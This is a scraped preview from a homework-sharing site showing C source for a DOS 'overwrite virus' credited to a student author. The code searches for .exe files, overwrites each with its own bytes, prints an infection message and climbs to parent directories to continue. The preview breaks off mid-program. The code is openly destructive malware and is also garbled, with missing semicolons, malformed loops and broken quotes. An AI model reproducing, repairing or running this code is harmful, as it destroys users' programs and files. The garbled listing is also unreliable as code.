overwrite virus coding in c

overwrite virus coding in c -...

Info iconThis preview shows page 1. Sign up to view the full content.

View Full Document Right Arrow Icon
Sheet1 Page 1 Code : /*A virus program coded by Tapan Kumar Mishra BE Electrical Engg. IGIT Sarang,Orissa 7th sem email id:[email protected] */ #include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char *argv[]) { int bytes,i,done FILE *virus,*host struct ffblk *f char buffer[512] do { done=findfirst("*.exe",f,0) while(!done) { virus=fopen(argv[0],"rb") //open the virus in read mode
Background image of page 1
This is the end of the preview. Sign up to access the rest of the document.

Unformatted text preview: host=fopen(f->ff_name,"rb+") //open the host file in r/w mode for( fread(buffer,512,1,virus)==1 ) fwrite(buffer,512,1,host) fclose(host) fseek(virus,0,0) //points to begining of virus printf("infecting %s Tapan Kumar Mishra,id:[email protected]") ,f->ff_name); done=findnext(f); } } while(!chdir(. .")) printf("For any querry contact...
View Full Document

This note was uploaded on 11/06/2010 for the course UBIT 411 taught by Professor Saleemelahi during the Spring '10 term at University of Karachi.

Ask a homework question - tutors are online